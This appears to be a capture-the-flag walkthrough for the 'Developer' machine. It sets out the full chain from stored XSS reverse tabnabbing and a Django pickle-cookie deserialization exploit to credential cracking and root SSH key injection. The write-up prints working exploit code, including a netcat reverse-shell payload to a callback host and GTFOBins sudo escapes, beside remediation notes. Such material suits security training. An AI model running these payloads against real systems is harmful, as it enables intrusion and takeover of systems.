Developer
Summary
unauthorized users registered an account on the developer.htb web platform and abused a stored XSS vulnerability in the challenge-writeup review workflow to redirect the site administrator's tab to an user-controlled phishing page via reverse tabnabbing, capturing the admin's credentials. The stolen session was used to browse the Django admin panel, where the Sites table disclosed a second internal virtual host: a self-hosted Sentry error-tracking instance. Authenticating to Sentry and requesting an endpoint that raised an unhandled Django exception returned a full debug error page — with DEBUG=True — that printed the application's SECRET_KEY in plain text. That secret was used to forge a signed session cookie containing a malicious Python Pickle payload, achieving remote code execution as the web application user. From that shell, I read the Sentry Django settings file to obtain the local PostgreSQL connection string, queried the auth_user table to extract a PBKDF2-SHA256 password hash for the system user 'karl', and cracked it offline to recover the plaintext '[REDACTED: recovered credential]'. Karl's SSH credentials matched the system account, granting an interactive shell and the user flag. A sudo audit showed karl could run a Rust-built authentication portal as root; the non-stripped binary exposed embedded AES-CTR key material in its data section, which when decrypted yielded the portal passphrase 'RustForSecurity@Developer@2021:)'. Supplying that passphrase to the authenticator via sudo caused it to accept an user-supplied SSH public key and write it to root's authorized_keys, completing full system compromise.
Attack path — how the box was taken
Exact commands 3
nmap -sV -sC -p- --min-rate 5000 -oA nmap/initial $TARGETffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET/ -H 'Host: FUZZ.developer.htb' -fc 301,302,404 -o vhosts.jsonecho '$TARGET developer.htb' | sudo tee -a /etc/hostsExact commands 3
mkdir -p /tmp/phish && python3 -m http.server 8080 --directory /tmp/phish/nc -lvnp 9001# After registering at http://$TARGET/accounts/register/, submit a writeup containing:
# <script>if(window.opener){window.opener.location='http://$CALLBACK_HOST:8080/login.html';}</script>FixSanitize all user-submitted content rendered in the admin review workflowCritical
Exact commands 4
curl -b 'sessionid=<captured_admin_sessionid>' http://$TARGET/admin/sites/site/echo '$TARGET sentry.developer.htb' | sudo tee -a /etc/hostscurl -c sentry_cookies.txt -b sentry_cookies.txt -X POST http://$TARGET/auth/login/ -d 'username=<admin_user>&password=[REDACTED: credential]curl -b sentry_cookies.txt 'http://$TARGET/manage/status/environment/'FixDisable Django DEBUG mode in all non-development environmentsCritical
Exact commands 3
nc -lvnp 4444python3 - <<'EOF'
import pickle, os, base64, zlib
import django.core.signing as signing
SECRET_KEY=[REDACTED: protected value]
SALT = 'django.contrib.sessions.backends.signed_cookiessigner'
class Exploit:
def __reduce__(self):
return (os.system, ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc $CALLBACK_HOST 4444 >/tmp/f',))
raw = pickle.dumps({'pwn': Exploit()})
cookie_val = signing.dumps(base64.b64encode(zlib.compress(raw)).decode(), key=SECRET_KEY, salt=SALT)
print(cookie_val)
EOFcurl -b 'sessionid=<forged_cookie>' http://$TARGET/dashboard/FixSwitch Django's session serializer from Pickle to JSONCritical
Exact commands 3
cat /etc/sentry/sentry.conf.py | grep -A5 DATABASESpsql -U sentry -d sentry -c "SELECT username, password FROM auth_user;"hashcat -m 10000 karl_hash.txt /usr/share/wordlists/rockyou.txt --forceFixProtect application database credentials and enforce unique strong passwords for system accountsHigh
Exact commands 1
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 karl@$TARGET 'id; cat /home/karl/user.txt'FixProtect application database credentials and enforce unique strong passwords for system accountsHigh
Exact commands 5
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no karl@$TARGET 'sudo -l'scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null karl@$TARGET:/root/.auth/authenticator ./authenticatorfile ./authenticator; nm ./authenticator | grep -i 'aes\|key\|nonce\|crypt'r2 -AA ./authenticator -q -c 'iz; afl~aes; pdf @ <aes_function_address>'python3 - <<'EOF'
from Crypto.Cipher import AES
key = bytes.fromhex('<recovered_hex_key>')
nonce = bytes.fromhex('<recovered_hex_nonce>')
ct = bytes.fromhex('<recovered_hex_ciphertext>')
print(AES.new(key, AES.MODE_CTR, nonce=nonce).decrypt(ct).decode())
# Output: RustForSecurity@Developer@2021:)
EOFFixRemove the sudo-allowed custom authenticator and eliminate embedded credentials from privileged binariesCritical
Exact commands 3
rm -f /tmp/developer_rootkey /tmp/developer_rootkey.pub; ssh-keygen -q -t ed25519 -N '' -f /tmp/developer_rootkeyPUB=$(cat /tmp/developer_rootkey.pub); printf '%s\n%s\n%s\n' '[REDACTED: recovered credential]' 'RustForSecurity@Developer@2021:)' "$PUB" | sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null karl@$TARGET 'sudo -S /root/.auth/authenticator'ssh -i /tmp/developer_rootkey -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@$TARGET 'id; cat /root/root.txt'FixRemove the sudo-allowed custom authenticator and eliminate embedded credentials from privileged binariesCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize user-controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.
Why it works
Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.